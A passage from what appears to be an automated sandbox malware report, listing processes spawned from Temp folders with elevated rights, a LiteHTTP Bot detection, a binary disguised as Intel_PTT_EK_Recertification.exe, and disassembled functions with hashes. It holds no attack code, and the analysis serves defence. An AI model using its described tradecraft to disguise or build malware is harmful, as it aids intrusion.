Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	02:03:42
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	02:03:42
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016541001\716b31b09e.exe"
Imagebase:	0x940000
File size:	1'763'328 bytes
MD5 hash:	D37DAB4C59E707F632BB0B91EAA87FF9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LiteHTTPBot, Description: Yara detected LiteHTTP Bot, Source: 00000028.00000002.3290433363.0000000000942000.00000040.00000001.01000000.00000012.sdmp, Author: Joe Security Rule: JoeSecurity_LiteHTTPBot, Description: Yara detected LiteHTTP Bot, Source: 00000028.00000003.3078223263.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	02:03:42
Start date:	17/12/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.1.10.1
Imagebase:	0x7ff624c30000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	02:03:54
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016542001\2c937c98d4.exe"
Imagebase:	0x3a0000
File size:	4'450'816 bytes
MD5 hash:	7D428FCF377F6D515C378D45DBD193DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	02:04:01
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1016543001\c7d5db0fd9.exe"
Imagebase:	0x460000
File size:	727'552 bytes
MD5 hash:	28E568616A7B792CAC1726DEB77D9039
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	02:04:01
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	02:04:01
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Imagebase:	0x7ff74b330000
File size:	1'827'328 bytes
MD5 hash:	83D75087C9BF6E4F07C36E550731CCDE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.7%
Total number of Nodes:	764
Total number of Limit Nodes:	16

Executed Functions

Function 0092652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,0092652A,?,?,?,?,?,00927661), ref: 00926567

Memory Dump Source

Source File: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.2089770655.00000000008F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089806976.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090303475.0000000000959000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090324256.000000000095B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090345896.0000000000965000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090367371.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090386213.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090566907.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090622625.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091032567.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091055249.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091184049.0000000000AE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091204077.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092085312.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092722488.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092754684.0000000000AF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092785379.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092813540.0000000000B0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092829370.0000000000B1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092843146.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092857976.0000000000B24000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092877579.0000000000B3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092892127.0000000000B42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092906060.0000000000B44000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092920435.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092935643.0000000000B54000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092950343.0000000000B59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092965845.0000000000B5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092979899.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092994188.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093100771.0000000000B68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093292619.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093506357.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093524105.0000000000B76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093539367.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093554557.0000000000B79000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093570889.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093606003.0000000000B7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093623531.0000000000B83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093662830.0000000000B8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093680673.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093701271.0000000000B9F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093723651.0000000000BA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093759230.0000000000BA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093835209.0000000000BE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093853055.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093870651.0000000000BE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093913425.0000000000BE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094008882.0000000000BFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094059740.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094090922.0000000000C00000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094120687.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094167364.0000000000C06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094196568.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094212838.0000000000C16000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 24325f49c626152ab06950850a4f45c74ee72933b72e74e5ba2a0dd1df977fdc
Instruction ID: 6cf83d38000ed25b76c95c8c8e9c2530e5d475041cd4eb8296187ac6a4df36e2
Opcode Fuzzy Hash: 24325f49c626152ab06950850a4f45c74ee72933b72e74e5ba2a0dd1df977fdc
Instruction Fuzzy Hash: 31E08C30002118AFCE25BF18E809E583B6AEB9274AF140800F8084662ACB25ED82CA80

Function 05010CBD Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2096131685.0000000005010000.00000040.00001000.00020000.00000000.sdmp, Offset: 05010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5010000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82ce94b03f48200e426c61aae53a92ba9b33e666607be1e16236a32f15435a6e
Instruction ID: eea1b96058feb55af3162e9b4b16e81ca0be3cf2f26df075d64d2784c068fd71
Opcode Fuzzy Hash: 82ce94b03f48200e426c61aae53a92ba9b33e666607be1e16236a32f15435a6e
Instruction Fuzzy Hash: 9B1104EF24C510BE7141D0863F68AFFA6AEE2D6770331842BF887C1506E2951A8E2136

Function 008F5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000419, xrefs: 008F6098
00000423, xrefs: 008F60FA
Keyboard Layout\Preload, xrefs: 008F6054
00000422, xrefs: 008F60C9
0000043f, xrefs: 008F612B

Memory Dump Source

Source File: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.2089770655.00000000008F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089806976.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090303475.0000000000959000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090324256.000000000095B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090345896.0000000000965000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090367371.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090386213.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090566907.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090622625.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091032567.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091055249.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091184049.0000000000AE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091204077.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092085312.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092722488.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092754684.0000000000AF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092785379.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092813540.0000000000B0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092829370.0000000000B1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092843146.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092857976.0000000000B24000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092877579.0000000000B3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092892127.0000000000B42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092906060.0000000000B44000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092920435.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092935643.0000000000B54000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092950343.0000000000B59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092965845.0000000000B5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092979899.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092994188.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093100771.0000000000B68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093292619.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093506357.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093524105.0000000000B76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093539367.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093554557.0000000000B79000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093570889.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093606003.0000000000B7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093623531.0000000000B83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093662830.0000000000B8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093680673.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093701271.0000000000B9F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093723651.0000000000BA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093759230.0000000000BA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093835209.0000000000BE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093853055.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093870651.0000000000BE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093913425.0000000000BE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094008882.0000000000BFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094059740.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094090922.0000000000C00000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094120687.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094167364.0000000000C06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094196568.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094212838.0000000000C16000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 90743a18be46ce88bd31fad89644e0ea7a5215746f015ba47c3d7715ea3770b1
Instruction ID: 9cf06d9ccafb6acdbc9d06078b7793b33f46d1067a45a5e592c1537c5233e8cc
Opcode Fuzzy Hash: 90743a18be46ce88bd31fad89644e0ea7a5215746f015ba47c3d7715ea3770b1
Instruction Fuzzy Hash: 9AF1C270A0025C9FDB24DF64CC84BEEBBB9FB45304F504299E608E72C1DB749A94CB95

Function 008F9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.2089770655.00000000008F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089806976.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090303475.0000000000959000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090324256.000000000095B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090345896.0000000000965000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090367371.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090386213.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090566907.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090622625.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091032567.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091055249.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091184049.0000000000AE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091204077.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092085312.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092722488.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092754684.0000000000AF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092785379.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092813540.0000000000B0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092829370.0000000000B1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092843146.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092857976.0000000000B24000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092877579.0000000000B3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092892127.0000000000B42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092906060.0000000000B44000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092920435.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092935643.0000000000B54000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092950343.0000000000B59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092965845.0000000000B5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092979899.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092994188.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093100771.0000000000B68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093292619.0000000000B69000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093506357.0000000000B6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093524105.0000000000B76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093539367.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093554557.0000000000B79000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093570889.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093606003.0000000000B7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093623531.0000000000B83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093662830.0000000000B8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093680673.0000000000B8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093701271.0000000000B9F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093723651.0000000000BA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093759230.0000000000BA1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093779898.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093835209.0000000000BE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093853055.0000000000BE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093870651.0000000000BE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093913425.0000000000BE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094008882.0000000000BFD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094059740.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094090922.0000000000C00000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094120687.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094167364.0000000000C06000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094196568.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094212838.0000000000C16000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 806687d5cec9e257a8d4bd885d30dd41807bbed35dcd0b6d08033e3fccdfddff
Instruction ID: 123b277e2aee375bdfdabf1baf6a4ebfe0dde2eacada76be14c6dec8d48f9968
Opcode Fuzzy Hash: 806687d5cec9e257a8d4bd885d30dd41807bbed35dcd0b6d08033e3fccdfddff
Instruction Fuzzy Hash: A131187170520C8BEB18DB78EC89B7DBBA2FBC5324F248218E268D73D5C77559818751

Function 008F9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000000.00000002.2089806976.00000000008F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.2089770655.00000000008F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2089806976.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090303475.0000000000959000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090324256.000000000095B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090345896.0000000000965000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090367371.0000000000966000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090386213.0000000000967000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090566907.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090622625.0000000000AC3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2090762693.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091032567.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091055249.0000000000AE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091184049.0000000000AE8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091204077.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092085312.0000000000AF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092722488.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092754684.0000000000AF9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092785379.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092813540.0000000000B0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092829370.0000000000B1D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092843146.0000000000B1E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092857976.0000000000B24000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092877579.0000000000B3F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092892127.0000000000B42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092906060.0000000000B44000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092920435.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092935643.0000000000B54000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092950343.0000000000B59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092965845.0000000000B5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092979899.0000000000B60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092994188.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
